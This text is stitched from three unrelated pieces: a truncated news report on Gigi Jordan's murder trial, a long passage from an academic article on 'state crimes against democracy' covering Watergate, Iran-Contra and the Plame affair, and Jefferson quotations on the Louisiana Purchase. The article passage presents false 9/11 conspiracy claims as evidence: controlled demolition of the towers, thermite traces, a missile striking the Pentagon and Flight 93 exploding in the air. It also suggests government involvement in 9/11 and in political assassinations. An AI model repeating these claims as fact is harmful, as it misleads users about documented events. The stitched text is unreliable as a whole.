Gigi Jordan showed no emotion as a New York prosecutor described to a jury a "chilling and horrifying scenario" in which the businesswoman who made a fortune in pharmaceuticals allegedly concocted a lethal cocktail of painkillers and anti-inflammatories and forced her 8-year-old autistic son to swallow it.
"Two fresh bruises on his nose, fresh bruises on his chin and chest suggest she got on top of him and, hopefully while he was asleep, filled a syringe with the poisonous concoction and pressed that plunger into his body," said assistant district attorney Matt Bogdanos, demonstrating how she might have squeezed his nose and pressed open his mouth to deliver the poison.
"His fate was sealed," Bogdanos said. "He didn't die fast. One by one, his vital organs shut down. It didn't take minutes. It took hours to die."
But on the first |
from the armed services and placed under civilian control. The functions and purviews of different offices, even those within a single agency, were strictly delineated and separated in order that each office would have only a partial picture of the nation’s aims, tactics, weapons, and operations. This administrative compartmentalization was intended to protect secrecy and to prevent policy interests, especially those of the armed services, from distorting intelligence. However, compartmentalization also facilitates the misuse of apparatus assets for purposes of domestic politics because it leaves each component of an operation ignorant of the operation’s principals and overall purpose.
SCADs and National Security Capabilities
In the first decades after World War II, SCAD targets and tactics evolved in tandem with the skills and techniques of the National Security Apparatus. The first covert operations of the apparatus were undertaken immediately after the end of World War II. In the late 1940s, the CIA made secret financial contributions to anticommunist political parties in Italy, France, and Japan. In Italy, it also bought Mafia help in keeping communists out of the dock workers’ union. In the 1950s, it became actively involved in coups against democratically elected regimes. After these coups, the apparatus instructed and aided its coup partners in the use of state terrorism for quelling unrest and opposition (see Blum, 2004; Klein, 2007).
During this period, isolated elements in the apparatus - notably the FBI - began to surreptitiously intervene into domestic political processes to strengthen the public’s resolve in the cold war. Tape recordings of Richard Nixon in the White House reveal that the FBI colluded with Nixon to frame Alger Hiss (Summers, 2000, pp. 70-75). Hiss was probably guilty of espionage, but the FBI lacked proof, so Hoover tapped Nixon to interrogate Hiss in Senate hearings. The FBI then forged documents to match Hiss’s typewriter, and the documents were sufficient to convict Hiss of perjury. The FBI also fed secret information to Joseph McCarthy, whose attacks on alleged communists and communist sympathizers terrorized more-liberal public administrators, intellectuals, artists, and others.
Not long before the Kennedy assassination, the covert activities of the apparatus had reached a new scale. In 1961, the apparatus planned and executed an unsuccessful invasion of Cuba by Cuban expatriates it had trained and equipped. After the invasion failed, the apparatus began working with bosses in the American Mafia to engineer the assassination of Fidel Castro. In 1963, the apparatus directed a coup in Vietnam that resulted in the murder of President Diem, who had previously been installed with the help of the CIA. From these initiatives, it would have been only a small step for the assassination capabilities of the apparatus to be directed at a domestic target. In any event, as the apparatus was learning how to organize conspiracies to murder foreign leaders, the United States experienced an unprecedented rash of political assassinations and attempted assassinations. The targets included, John Kennedy
Lee Harvey Oswald
Robert Kennedy
Martin Luther King
Malcolm X
George Wallace
Gerald Ford
Ronald Reagan In the late 1960s and early 1970s, the apparatus began to establish profit-making enterprises, which gave it financial resources beyond the knowledge and control of Congress. Many of these enterprises were legitimate businesses. Perhaps the best example is Air America, which was the proprietary airline of the CIA. By the end of the Vietnam War, Air America had become the largest airline in the world. The CIA also had front companies or “cutouts” in many other industries related to its covert operations, especially public relations, telecommunications, energy, and publishing.
Other enterprises, such as drug dealing, were illegal or extralegal. The CIA first became involved in the drug trade during the Vietnam War. Profits from the illicit activity were used to support paramilitary operations in Laos and Cambodia that Congress had not authorized and about which it was unaware.
In 1980 if not sooner, these newly developed business skills of the apparatus began to be used in domestic politics. An example is the so-called October Surprise in the 1980 presidential election, where the Reagan-Bush campaign is alleged to have made a deal to sell arms to Iran in return for Iran delaying the release of the hostages until after Election Day (Parry, 1993; Sick, 1991). The principals who secretly negotiated the arrangement in Paris reportedly included vice presidential candidate George H. W. Bush and former intelligence officers Bill Casey (Reagan’s campaign manager) and Robert Gates. After the Reagan administration took office, Casey became director of the CIA and Gates became assistant director.
The special prosecutor’s investigation of Iran-Contra was precluded by its enabling legislation from revisiting the 1980 October Surprise, which had previously been investigated by Congress. The congressional investigation had cleared Casey and Bush after they produced alibis for the alleged date of the meeting in Paris, but these alibis were later brought into question. Given what is now known about Iran-Contra, it appears likely that the Iran-Contra operation grew out of the October Surprise agreement. At the direction of President Reagan and with the direct involvement of Vice President Bush, the apparatus began selling arms to Iran at highly inflated prices and funneling the profits to the Contras. The Contras were also brought into the drug trade and were given assistance in smuggling cocaine into the United States (Ruppert, 2004; Webb, 1998).
The Crimes of Watergate
The Watergate scandal offers the most detailed picture available of how, why, and by whom the National Security Apparatus can become involved in presidential politics. The Watergate prosecutions, congressional investigations, and presidential tape recordings provide a thorough account of the break-ins and of the efforts by the president and others to cover-up Watergate’s connection to the administration. This official record has also been supplemented by the books of several investigative journalists and by the memoirs of Nixon’s chief of staff Bob Haldeman (1978) and Watergate burglars Howard Hunt (1974), Gordon Liddy (1980), and James McCord (1974). Watergate suggests that SCADs are not so much aberrations within the apparatus as they are predictable turns taken when national security initiatives intersect with domestic presidential politics.
Nixon considered espionage against partisan opponents to be a normal part of American politics, and he saw nothing wrong with using government resources for this purpose. After all, he knew that the government had targeted him in the 1968 election. After he became president, FBI director Hoover informed him that, at the instructions of President Johnson, the FBI had placed wiretaps on the phones in Nixon’s airplane (Gray, 2008, pp. 161-162). President Johnson’s action in this regard implies that he, too, considered such espionage legitimate. That Johnson and Nixon were from different parties but were both able to use the FBI for political espionage indicates that, by the late 1960s, apparatus capabilities were seen by the president, the FBI director, and probably others at their level to be resources appropriate for use in domestic politics.
Nixon and his close advisors believed that the antiwar movement was an attack on the American form of government and that leaking secret or sensitive information to the press, as Daniel Ellsberg had done with the Pentagon Papers, amounted to a treasonous assault on national security. After the FBI refused to wiretap reporters, Nixon and his team established the Special Investigative Unit in the White House to stop information from “leaking.” This is why the White House staff referred to Howard Hunt and Gordon Liddy as the “plumbers.” Wiretaps were placed on the telephones of reporters as well as administration officials. Among the latter was Henry Kissinger, who was discovered to be one of the media’s sources.
The plumbers engaged in a variety of operations before the Watergate break-ins. They followed Ted Kennedy and tried to discover evidence that would embarrass or discredit him. They burglarized the office of Daniel Ellsberg’s psychiatrist, Lewis Fielding. They recruited thugs to attack protestors and instigate unrest at antiwar demonstrations. Finally, as the 1972 election approached, Hunt and Liddy were brought into Nixon’s reelection campaign to handle the campaign’s security and intelligence activities. Hunt and Liddy prepared an extensive plan for, among other things, infiltrating the primary and general election campaigns of the Democrats, disrupting the Democratic National Convention, and luring convention delegates into compromising liaisons with prostitutes. Also part of this plan was placing wiretaps on two telephones in the headquarters of the National Democratic Party and searching through the files in the office of the Democratic Party Chairman. The plan was recognized at the time to be risky and illegal, but it was approved by top officials in the White House and by the Committee to Re-elect the President.
Although Watergate is remembered as simply a single, botched burglary almost entirely unrelated to the CIA and FBI, it was more plausibly part of a much larger initiative involving various apparatus components. When the Watergate break-in was being investigated by Congress, staff found reports of more than 100 burglaries in the D.C. area that were similar to Hunt and Liddy’s operation against Daniel Ellsberg’s psychiatrist (Summers, 2000, pp. 392, 524, Note 22). The plumbers had broken into Fielding’s office in search of information needed by CIA profilers for preparing an analysis of how to “break” Ellsberg emotionally. The other burglaries in the D.C. area similarly targeted the offices of physicians and psychiatrists whose patients were Nixon’s opponents or their wives. This MO is consistent with one of various forms of psychological warfare practiced by the apparatus, which had conducted years of psychological research to learn how to psychoanalyze people from a distance, identify their psychological conflicts, and create pressures in their lives to produce emotional breakdowns (Marks, 1979). Hunt and Liddy may have been just one compartment in a larger assemblage of operatives who were conducting psychological warfare against many of Nixon’s “enemies.” This would explain why “Deep Throat” (deputy director of the FBI Mark Felt) told Bob Woodward that almost the entire law enforcement wing of the national government was involved in the Watergate operation and cover-up and that bugs had been placed in the homes of Woodward, Bernstein, and Washington Post editor Ben Bradlee.
Nor were Nixon’s political crimes necessarily limited to burglaries, wiretaps, and dirty tricks. Nixon’s surrogates may have also murdered U.S. citizens on U.S. soil. Charles Colson, one of Nixon’s main political advisors in the White House, hinted as much in taped conversations with the president (Kutler, 1997, p. 194). Furthermore, Liddy (1980, pp. 207-210) reports in his memoirs that in 1972 Colson instructed Hunt and him to prepare a plan for assassinating Jack Anderson, an investigative journalist. Although Anderson’s murder was called off, Hunt and Liddy were quite willing to perform the operation and viewed it as a reasonable assignment. For that matter, shortly after the Watergate burglars were arrested, Liddy (1980, pp. 257-258) told John Dean that he would understand if he, Liddy, were slated to be killed; he asked only that the hit occur someplace other than at his home, where his wife and children might come to harm. One death that a grand jury suspected had been arranged by the White House was that of Dorothy Hunt, Howard Hunt’s wife, who was killed in an airplane crash not long after she had begun blackmailing Nixon to provide financial support for the Watergate burglars during their incarceration (Kutler, 1997, p. 474).
Limited Reforms After Watergate
Ironically, Watergate revealed not only how national security operations can become enmeshed in presidential politics but also how reluctant public officials are to acknowledge and confront the conditions that permit this. The Watergate investigations exposed the crimes of high-ranking public officials, and a number of officials went to jail. But few changes were made to the organization, procedures, or oversight of national security agencies even though they had been quite willing to go along with Nixon’s crimes. In the aftermath of Nixon’s resignation, the Church Committee hearings on the CIA uncovered many illegal and illegitimate activities by the apparatus, including assassinations of foreign leaders, coups, collaboration among state agents with criminal organizations, illegal domestic surveillance, and more. They also turned up evidence of CIA and FBI involvement in U.S. domestic politics, including not just Watergate and the dirty tricks of Donald Segretti but also the secret provision of funds to a wide range of civic organizations and the use of illegal wiretaps and agent provocateurs against the civil rights and antiwar movements (C. Johnson, 2004; Wilford, 2008; Wise, 1976).
Nevertheless, the congressional investigators and special prosecutors never seriously considered the possibility that the National Security Apparatus was engaging in domestic assassinations and other high crimes. The suspicion was voiced by others; for example, Bernstein and Woodward (1974) speculated in their book on Watergate that Nixon might have been behind the attempted assassination of George Wallace. But public officials were seemingly unwilling to take their suspicions this far; the post-Watergate reforms targeted isolated abuses of power rather than the general problem of elite political criminality in the national security state.
This allowed criminal tendencies revealed by Watergate to continue developing. Even as Nixon was departing, he drew additional politicians and intelligence professionals into his network of unprincipled partisans. Alexander Haig became Nixon’s chief of staff, and he brokered the deal between Nixon and Gerald Ford for Nixon’s pardon (Woodward, 2006). Haig later played a role in Iran-Contra when he approved weapons sales to Iran not long after Ronald Reagan’s inauguration (Kornbluh & Byrne, 1993). George H. W. Bush had been a frequent visitor to the Nixon White House after Nixon had picked him to be chairman of the Republican National Party.
Ford appointed Bush as the director of the CIA despite Senator Church’s strong objection to a politician serving in that position. Although Bush was CIA director for only one year, he became enormously popular in the apparatus because he kept the CIA’s secrets and protected the CIA professionals from exposure and prosecution in the aftermath of Watergate (Bowen, 1991, pp. 41-58).
When Bush pardoned the Iran-Contra conspirators after losing his reelection bid in 1992, he effectively condoned the apparatus’s growing criminality. In fact, less than a decade later, many of the people implicated in Iran-Contra returned to positions of power in the Bush-Cheney administration. Cheney himself had been indirectly involved in Iran-Contra. In the 1980s, Cheney was a member of Congress. Serving on the House Intelligence Committee, he had been briefed on aspects of the Contra program, and he had been a vocal defender of the Iran-Contra project when it was first investigated by Congress (before an independent prosecutor was appointed). Others directly involved or associated with Iran-Contra who returned to power with Bush- Cheney included, Robert Gates
Elliot Abrams
John Poindexter
Otto Reich
Richard Armitage
John Negroponte
The Bush-Cheney Administration
Another SCAD besides Watergate where national security considerations became enmeshed with presidential politics was the “outing” of CIA agent Valerie Plame (Wheeler, 2007). Shortly before the 2003 invasion of Iraq, the president changed long-standing policy to allow the vice president to declassify state secrets (Rich, 2007). A few months later, after Joseph Wilson challenged the administration’s claims about Iraq seeking to acquire uranium in Africa, the vice president informed his aid Scooter Libby of Plame’s status. Libby then leaked this information to the press and to others in the administration who also leaked it to the press. These circumstances suggest that Libby was following the orders of the president and the vice president, but Libby alone was indicted, and only then for committing perjury when he denied having leaked Plame’s identity to reporters. Without a confession from Libby implicating Cheney and Bush, no one was willing to take action against either the president or the vice president, both of whom appear to have been part of a criminal conspiracy to expose the identify of a covert agent in a time of war.
In any event, the circumstances and White House actions in Plamegate are very similar to those in the Nixon administration’s efforts to discredit Daniel Ellsberg. In both cases, the presidents were misleading the public about their foreign policy motives and initiatives, their credibility was threatened by whistleblowers who took their stories to the New York Times, they responded by using national security assets (operatives for Nixon, and information for Bush) in an effort to undermine the whistle-blowers’ credibility, and when the underlings who had carried out their criminal schemes were apprehended and prosecuted, they put their reelections ahead of all considerations of loyalty and culpability, denied all knowledge and involvement in the crimes, and let their minions take the full blame.
The criminality of the Bush-Cheney administration is also similar to Nixon’s in another respect. Just as the Watergate break-ins were simply the tip of Nixon’s criminal iceberg, Plamegate was only one small element in a much larger pattern of political lawlessness. Much evidence indicates that, in addition to outing Valerie Plame, the Bush-Cheney administration manipulated and distorted intelligence to, concoct a pretext for invading Iraq (Isikoff & Corn, 2006; Rich, 2006)
fired federal prosecutors who refused to target Democratic officials (Horton, 2007)
sought to intimidate and silence civilian and military career public administration professionals who arrived at conclusions contradicting the administration’s claims or premises (Savage, 2007, pp. 279-307)
conducted domestic electronic surveillance without first obtaining court orders (Suskind, 2006)
periodically raised terrorist threat levels to rally electoral support for the president (Hall, 2005)
countenanced cruel and inhumane treatment of suspected terrorists (Goldsmith, 2007; Greenwald, 2007; Mayer, 2008) There is also circumstantial evidence that the Bush-Cheney administration may have somehow been involved in 9/11. The administration ignored many warning signs that, the 9/11 terrorist attack was imminent and that the attack might include hijackings (Clarke, 2004)
the CIA had a working relationship with bin Laden and provided weapons, money, and technical support to Islamist terrorists in Afghanistan during the Soviet occupation (Blum, 2004, pp. 338-352)
some officials appear to have received warnings not to fly on 9/11 (Griffin, 2004, pp. 72-73; Thomas & Hosenball, 2001)
the Twin Towers and Building 7, which collapsed at near free-fall speed, are suspected of having been brought down by controlled demolition (Hufschmid, 2002, pp. 73-80; Ryan, Gourley, & Jones, 2008)
chemical tests have found traces of thermite (an incendiary used in demolishing steel skyscrapers) in steel from the Trade Center site (Ryan et al., 2008)
as is usual with most SCADs, the Twin Towers crime scene was cleaned up quickly and given only a superficial investigation (Morgan & Henshall, 2005, pp. 94-98) Evidence also indicates that the Pentagon was hit by a missile rather than a passenger plane and that Flight 93 was exploded at high altitude.2
SCAD Detection and Prevention
The first step toward SCAD detection and prevention is facing up to the nature and magnitude of the threat. Recently, many mainstream scholars and journalists have concluded that American democracy is becoming increasingly corporatist, imperialistic, and undemocratic (Bacevich, 2005; Dean, 2007; Goldsmith, 2007; Greenwald, 2007; C. Johnson, 2004; Klein, 2007; Mayer, 2008; Savage, 2007; Shorrock, 2008; Wolin, 2008). However, mainstream authors have seldom considered the possibility that authoritarian tendencies in American politics are being systemically engineered by top-ranking civilian and military officials. Rather than thinking in terms of high crimes, their diagnoses have blamed abstract institutional weaknesses or isolated failures of leadership.3
In contrast, the upshot of the foregoing analysis is that SCADs are surface indications of a deeper, invisible level of politics (Kouzmin & Thorne, 2010) in which officials at the highest levels of government use deception, conspiracy, and violence to shape national policies and priorities. This sub-rosa manipulation of domestic politics is an extension of America’s duplicity in foreign affairs and draws on the nation’s well-developed skills in covert operations. Through its experience with covert actions, the National Security Apparatus has developed a wide range of skills and tactics for subverting and overthrowing regimes, manipulating international tensions, and disrupting ideological movements. The United States, or more specifically presidential administrations, uses these skills in combination with visible foreign policies to maximize the impact of both the visible and invisible sides of their efforts.
To the extent that policy makers are called to justify their covert actions and other deceptions, they do so by asserting that public opinion, both domestic and international, is a critical battlefront in conflicts between democratic capitalism and its ideological and military opponents. Although the implications of this policy for popular control of government are seldom examined, the policy itself was and is no secret. As an assistant secretary of defense said in response to claims that public opinion had been manipulated during the Cuban missile crisis, News generated by actions of the government as to content and timing are part of the arsenal of weaponry that a president has in application of military force and related forces to the solution of political problems, or to the application of international political pressure. (Wise & Ross, 1964, pp. 297-298) Richard Nixon put it more bluntly. In claiming that the president has the power to break the law when protecting national security, he said, “Well, when the president does it that means that it is not illegal” (Frost, 1977). U.S. capabilities for covert operations enter the nation’s domestic politics as SCADs in at least two ways. Sometimes, the process is rather haphazard. In Watergate, for example, the Nixon administration was using covert-action skills domestically in legitimate matters of national security when it diverted these skills, first, to attack Daniel Ellsberg and perhaps other political enemies and, subsequently, to gain advantage in the 1972 presidential election. Generalizing from this example, covert-action capabilities can end up being exploited for SCADs because the officials who control these capabilities are operating in an intensely political environment, and they occasionally succumb to temptations to use their national security powers for personal or partisan advantage. The idea that SCADs are opportunistic gambits in presidential politics was the conclusion reached in the official investigations of both Watergate and Iran-Contra.
On the other hand, several SCADs for which evidence of government involvement is unofficial but nevertheless credible point to elaborate planning by enduring networks of strategically placed insiders pursuing a combination of bureaucratic, ideological, and economic objectives. The assassinations of John and Robert Kennedy, and the attempted assassination of George Wallace, all benefited Richard Nixon and served the interests of military and military-industrial elites. Furthermore, arranging these shootings and pinning them on patsies would have required many operatives, extensive resources, and a variety of skills. Similarly, if the attacks of 9/11 were executed or somehow facilitated by U.S. public officials - as much evidence suggests - a number of agencies would have had to have been involved, including elements of the Department of Defense, the CIA, and the FBI.
Reforms for SCAD prevention and detection should address both of these etiological scenarios. The potential for SCADs to be committed opportunistically in presidential politics can be reduced statutorily by mandating procedures for investigating election problems, defense failures, assassinations, and similar incidents. As it stands, events with profound implications for the nation and the world are left to be investigated on an ad hoc basis; procedures for controlling crime scenes, inventorying evidence, interviewing suspects, interpreting evidence, overseeing the investigative process, and reporting findings are developed on the spot in the aftermath of the tragedies, when the nation is in shock and the perpetrators may be covering their trail. Public officials or their agents lost, discarded, or destroyed, critical evidence in the World Trade Center destruction (Griffin, 2004; Hufschmid, 2002)
the anthrax mailings in October 2001 (Broad, Johnston, Miller, & Zielbauer, 2001)
the disputed presidential elections of 2000 and 2004 (Barstow & Van Natta, 2001; deHaven-Smith, 2005; Miller, 2005)
the assassinations of JFK, RFK, and Martin Luther King (Groden, 1993; Pease, 2003; D. Weldon, 2000)
the attempted assassination of George Wallace (Hunt, 1974, p. 216; Summers, 2000) Reducing American democracy’s vulnerability to manipulation by military and intelligence elites will require amendments to the U.S. Constitution to strengthen the role of Congress and the public in national security policy making. In particular, revisions are needed to the constitutional procedures for declaring, fighting, and ending wars (Bacevich, 2005; Byrd, 2004; Dean, 2007; Fisher, 2004). SCADs usually draw on the skills of covert action and are often connected to secret foreign-policy objectives, from discrediting dissidents and stopping leaks to fabricating intelligence and provoking wars. The United States has become extensively involved in covert operations overseas because the nation’s leadership is no longer adhering to the Constitution’s requirements governing military action. The last military action for which Congress issued a declaration of war was World War II. Since then, the introduction of nuclear weapons has made Congress reluctant to authorize the kind of uninhibited aggression that a declaration of war might unleash. However, the Constitution contains no process for authorizing limited wars or for ensuring that Congress can end such wars at its discretion. In large part this is why the role of Congress and the president became so muddled during the Vietnam War. The failure of the War Powers Act to correct this situation was demonstrated all too clearly after 2006 by legislative-executive conflict over the occupation of Iraq.
Social science can play a critical role in furthering this reform agenda by bringing behavioral research to bear on antidemocratic corruption in American government. The potential for SCADs is large because elite political conspiracies are difficult to detect and investigations are in the hands of the very people who actually need to be scrutinized. However, social scientists have the requisite conceptual resources, methodological skills, and scholarly independence to make antidemocratic corruption visible. Once it is rendered visible, it will no longer be tolerated.
Notes
Also suspicious was the death, a year later, of Democrat Paul Wellstone, one of the few senators to criticize the congressional authorization for military action against Iraq. Wellstone was killed in an airplane crash. See Arrows and Fetzer (2004).
A large and growing literature challenges official accounts of the events of 9/11. See, for example, Griffin (2004, 2005), Hufschmid (2002), Paul and Hoffman (2004), and Tarpley (2005). There is also a “9/11 Truth Movement,” which is producing a detailed studies of 9/11 issues and anomalies. For example, see www.911truth.org, www.911scholars.org, and www.911essentials.com.
Institutional weaknesses that have been cited include the large role of lobbyists and corporations in campaign finance, increasing partisanship because of an evenly divided electorate, gradual growth of the U.S. military presence around the world, and the superficial character of television as a medium for public discourse. Leadership failures that have been blamed include opportunistic responses by political elites to terrorist threats, exaggerated fears of terrorist attacks, and politicization of intelligence gathering and interpretation to support ideological positions. An important exception to this mainstream failure to think in terms of high crimes is ( Neal S.) Wolin (2008), who argues that American democracy is becoming deeply corrupt. But even in Wolin’s account, America’s corruption is more moral than criminal. He says that elites and masses alike have lost sight of democratic values because they have become preoccupied with material rewards and imperial ambitions. Hence, Wolin calls for a renewed ethics of democratic citizenship, not heightened vigilance against criminal conspiracies in high office.
References Ahmed, N. F. (2005). The war on truth: 9/11, disinformation, and the anatomy of terrorism. Northampton, MA: Olive Branch Press.
Arrows, F., & Fetzer, J. (2004). American assassination: The strange death of Senator Paul Wellstone. Brooklyn, NY: Vox Pop.
Bacevich, A. J. (2005). The new American militarism: How Americans are seduced by war. Oxford, UK: Oxford University Press.
Bachrach, P., & Baratz, M. S. (1962). Two faces of power. American Political Science Review, 56(4), 947-952.
Barstow, D., & Van Natta, D., Jr. (2001, July 15). How Bush took Florida: Mining the overseas absentee vote. New York Times, Section 1, p. 1.
Beard, C. A., & Beard, M. R. (1927). The rise of American civilization. New York: Macmillan.
Bernstein, C., & Woodward, B. (1974). All the president’s men. New York: Simon & Schuster.
Black, W. K. (2005). The best way to rob a bank is to own one. Austin: University of Texas Press.
Blum, W. K. (2004). Killing hope: U.S. military and C.I.A. interventions since World War II. Monroe, ME: Common Courage Press.
Downloaded from http://abs.sagepub.com at Auraria Library on March 4, 2010
Bowen, R. S. (1991). The immaculate deception: The Bush crime family exposed. Chicago: Global Insights.
Broad, W. J., Johnston, D., Miller, J., & Zielbauer, P. (2001, November 9). Anthrax probe hampered by FBI blunders. New York Times, Retrieved March 25, 2008, from http://www.sfgate.com/ cgi-bin/article.cgi?f=/chronicle/archive/2001/11/09/MN153227.DTL
Byrd, R. C. (2004). Losing America: Confronting a reckless and arrogant presidency. New York: Norton.
Calavita, K., Pontell, H., & Tillman, R. (1999). Big money crime: Fraud and politics in the savings and loan crisis. Berkeley: University of California Press.
Carter, D. (2000). The politics of rage: George Wallace, the origins of the new conservatism, and the transformation of American politics. Baton Rouge: Louisiana State University Press.
Clarke, R. A. (2004). Against all enemies: Inside America’s war on terror. New York: Free Press.
Dahl, R., & Lindblom, C. E. (1946). Politics, economics, and welfare. New Haven, CT: Yale University Press.
Dean, J. W. (2004). Worse than Watergate: The secret presidency of George W. Bush. New York: Little, Brown.
Dean, J. W. (2007). Broken government: How Republican rule destroyed the legislative, executive, and judicial branches. New York: Viking.
deHaven-Smith, L. (2005). The battle for Florida. Gainesville: University Press of Florida.
deHaven-Smith, L. (2006). When political crimes are inside jobs: Detecting state crimes against democracy. Administrative Theory & Praxis, 28(3), 330-355.
deHaven-Smith, L., & Van Horn, C. E. (1984). Subgovernment conflict in public policy. Policy Studies Journal, 12(4), 627-642.
Diamond, M. (1987). The Federalist. In L. Strauss & J. Cropsey (Eds.), History of political philosophy (pp. 659-679). Chicago: University of Chicago Press.
Douglass, J. W. (2008). JFK and the unspeakable: Why he died and why it matters. Maryknoll, NY: Orbis Books.
Eisenhower, D. D. (1961). Farewell address. Retrieved January 17, 2008, from http://www.eisenhower.archives.gov/.
Ellsberg, D. (2002). Secrets: A memoir of Vietnam and the pentagon papers. London: Penguin.
Fetzer, J. H. (2000). Smoking guns and the death of JFK. In J. H. Fetzer (Ed.), Murder in Dealey Plaza: What we know that we didn’t know then about the death of JFK (pp. 1-16). Chicago: Catfeet Press.
Fisher, L. (2004). The way we go to war: The Iraq Resolution. In G. L. Gregg & M. J. Rozell (Eds.), Considering the Bush presidency (pp. 107-124). New York: Oxford University Press.
Fried, R. M. (1990). Nightmare in red: The McCarthy era in perspective. New York: Oxford University Press.
Ford, G. R. (1974). Proclamation 4311, granting a pardon to Richard Nixon. Retrieved Retrieved January 17, 2008, from http://www.ford.utexas.edu/
Frost, D. (1977, May 20). The third Nixon-Frost interview. New York Times, p. A16.
Garrison, J. (1988). On the trail of the assassins: My investigation and prosecution of the murder of President Kennedy. New York: Sheridan Square Press.
Goldsmith, J. (2007). The terror presidency: Law and judgment inside the Bush administration. New York: Norton.
Goodman, M. A. (2008). The failure of intelligence: The decline and fall of the CIA. New York: Rowman and Littlefield.
Gray, L. P. (2008). In Nixon’s web: A year in the crosshairs of Watergate. New York: Henry Holt.
Greenwald, G. (2007). A tragic legacy: How a good vs. evil mentality destroyed the Bush presidency. New York: Crown.
Griffin, D. R. (2004). The new Pearl Harbor: Disturbing questions about the Bush administration and 9/11. Northampton, MA: Olive Branch Press.
Griffin, D. R. (2005). The 9/11 Commission report: Omissions and distortions. Northampton, MA: Olive Branch Press.
Groden, R. J. (1993). The Killing of a president: The complete photographic record of the JFK assassination, the conspiracy, and the cover-up. New York: Penguin.
Haldeman, H. R. (1978). The ends of power. New York: Times Books.
Hall, M. (2005, May 10). Ridge reveals clashes on alerts. USA Today, Retrieved May 10, 2008, from http://www.usatoday.com/news/washington/2005-05-10-ridge-alerts_x.htm
Hinson, C. L. (2010). Negative information action: Danger for democracy. American Behavioral Scientist, 53(6), 826-847.
Horton, S. (2007, April 13). Political profiling: The smoking gun. Harpers, Retrieved April 30, 2007, from http://www.harpers.org/archive/2007/04/horton-political-profiling
Hufschmid, E. (2002). Painful questions: An analysis of the September 11th attack. Goleta, CA: Endpoint Software.
Hunt, E. H. (1974). Undercover: Memoirs of an American secret agent. New York: G. P. Putnam.
Isikoff, M., & Corn, D. (2006). Hubris: The inside story of spin, scandal, and the selling of the Iraq War. New York: Crown.
Johnson, C. (2004). The sorrows of empire: Militarism, secrecy, and the end of the republic. New York: Henry Holt.
Johnson, H. (2005). The age of anxiety: McCarthyism to terrorism. New York: Harcourt.
Klein, N. (2007). The shock doctrine: The rise of disaster capitalism. New York: Allen Lane/ Penguin.
Kornbluh, P., & Byrne, M. (Eds.). (1993). The Iran-Contra scandal: The classified history. New York: New Press.
Kutler, S. I. (1990). The wars of Watergate: The last crisis of Richard Nixon. New York: Norton.
Kutler, S.I. (1997). Abuse of power: The new Nixon tapes. New York: Touchstone.
Lane, M. (1966). Rush to judgment: A critique of the Warren Commission’s inquiry into the murders of President John F. Kennedy, Officer J. D. Tippit, and Lee Harvey Oswald. New York: Holt, Rinehart, & Winston.
Liddy, G. G. (1980). Will: The autobiography of G. Gordon Liddy. New York: St. Martin’s.
Lowi, T. (1969). The end of liberalism. New York: Norton.
Manwell, L. A. (2010). In denial of democracy: Social psychological implications for public discourse on state crimes against democracy post-9/11. American Behavioral Scientist, 53(6), 848-884.
Marcus, G. E. (Ed.). (1999). Paranoia within reason: A casebook on conspiracy as explanation. Chicago: University of Chicago Press.
Marks, J. (1979). The search for the Manchurian candidate: The CIA and mind control. New York: Norton.
Marrs, J. (2006). The terror conspiracy: Deception, 9/11 and the loss of liberty. New York: Disinformation.
Martin, A. (2001). The conspirators: Secrets of an Iran-Contra insider. Pray, Montana: National Liberty Press.
Mayer, J. (2008). The dark side: The inside story of how the war on terror turned into a war on American ideals. New York: Doubleday.
McCool, D. (1998 |
for our posterity, and a wide-spread field for the blessings of freedom and equal laws. With the wisdom of Congress it will rest to take those ulterior measures which may be necessary for the immediate occupation and temporary government of the country; for its incorporation into our Union; for rendering the change of government a blessing to our newly-adopted brethren; for securing to them the rights of conscience and of property; for confirming to the Indian inhabitants their occupancy and self-government, establishing friendly and commercial relations with them, and for ascertaining the geography of the country acquired. - Third Annual Message, viii, 23. Ford ed., viii, 267. (October 17, 1803) When we contemplate the ordinary annual augmentation of imposts from increasing population and wealth, the augmentation of the same revenue by its extension to the new acquisition, and the economies which may still be introduced into our public expenditures, I cannot but hope that Congress in reviewing their resources will find means to meet the intermediate interests of this additional debt without recurring to new taxes, and applying to this object only the ordinary progression of our revenue. -Third Annual Message. viii, 27. Ford ed. viii, 271. (Oct. 1803.) At this moment a little cloud hovers in the horizon. The government of Spain has protested against the right of France to transfer; and it is possible she may refuse possession, and that this may bring on acts of force. But against such neighbors as France there, and the United States here, what she can expect from so gross a compound of folly and false faith, is not to be sought in the book of wisdom. She is afraid of her enemies in Mexico; but not more than we are. -To Dupont de Nemours. iv, 509. (W., Nov. 1803.) M. Pichon, according to instructions from his government, proposed to have added to the ratification a protestation against any failure in time or other circumstances of execution, on our part. He was told, that in that case we should annex a counter protestation, which would leave the thing exactly where it was; that this transaction had been conducted, from the commencement of the negotiation to this stage of it, with a frankness and sincerity honorable to both nations, and comfortable to the heart of an honest man to review; that to annex to this last chapter of the transaction such an evidence of mutual distrust, was to change its aspect dishonorably for us both, and, contrary to the truth, as to us; for that we had not the smallest doubt that France would punctually execute its part; and I assured M. Pichon that I had more confidence in the word of the First Consul than in all the parchment we could sign. He saw that we had ratified the treaty; that both branches had passed, by great majorities, one of the bills for execution, and would soon pass the other two; that no circumstances remained that could leave a doubt of our punctual performance; and like an able and honest minister (which he is in the highest degree), he undertook to do what he knew his employers would do themselves, were they here spectators of all the existing circumstances, and exchanged the ratifications purely and simply; so that this instrument goes to the world as an evidence of the candor and confidence of the nations in each other, which will have the best effects. -To Dupont de Nemours. iv, 509. (W., Nov. 1803.) Spain entered with us a protestation against our ratification of the treaty, grounded, first, on the assertion that the First Consul had not executed the conditions of the treaties of cession; and, secondly, that he had broken a solemn promise not to alienate the country to any nation. We answered, that these were private questions between France and Spain, which they must settle together; that we derived our title from the First Consul, and did not doubt his guarantee of it. -To Robert R. Livingston. iv, 511. Ford ed., viii, 278. (W., Nov. 1803) On this important acquisition, so favorable to the immediate interests of our western citizens, so auspicious to the peace and security of the nation in general, which adds to our country territories so extensive and fertile, and to our citizens new brethren to partake of the blessings of freedom and self government, I offer to Congress and the country, my sincere congratulations. -Special Message, viii, 33. (Jan. 1804) I very early saw that Louisiana was indeed a speck in our horizon which was to burst in a tornado; and the public are unapprized how near this catastrophe was. Nothing but a frank and friendly development of causes and effects on our part, and the good sense enough in Bonaparte to see that the train was unavoidable, and would change the face of the world, saved us from that storm. I did not expect he would yield till a war took place between France and England, and my hope was to palliate and endure, if Messrs. Ross, Morris, &c. did not force a premature rupture, until that event. I believe d the event not very distant, but acknowledge it came on sooner than I had expected. Whether, however, the good sense of Bonaparte might not see the course predicted to be necessary and unavoidable, even before a war should be imminent, was 